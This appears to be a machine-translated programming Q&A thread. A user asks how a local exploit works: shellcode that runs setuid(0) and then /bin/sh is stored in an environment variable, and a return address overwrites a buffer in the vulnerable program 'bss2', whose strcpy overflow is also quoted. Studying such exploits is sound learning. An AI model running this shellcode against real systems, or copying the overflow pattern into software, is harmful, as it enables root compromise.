#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buf[bufsize] ;
char *proc[]={"./bss2",buf,NULL};
char *envir[]={"Bytes=2Lu",shellcode,NULL};
unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
memset(buf,0x42,sizeof(buf));
memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
execve(proc[0],proc,envir);
return 0;
}
什么是那些memcpy
和memset
execve
之前在做什么?它是如何影响PROGRAME proc
?对于BSS2这个程序是做什么的?
#define LEN 256
void output(char *);
int main(int argc, char **argv) {
static char buffer[LEN];
static void (*func) (char *);
func = output;
strcpy(buffer, argv[1]);
func(buffer);
return EXIT_SUCCESS;
}
void output(char *string) {
fprintf(stdout, "%s", string);
}
UPDATE
更新代码,现在看来问题归结到环境变量在什么位置?
但是'envir'是什么? – gdb 2011-04-15 06:45:09
它看起来像shellcode被放置在一个环境变量,然后堆栈被用来试图让它执行。 – 2011-04-15 06:51:43
@ Jason,我上面更新了代码'bss2',它并没有从环境变量中获取shell代码。 – gdb 2011-04-15 06:53:32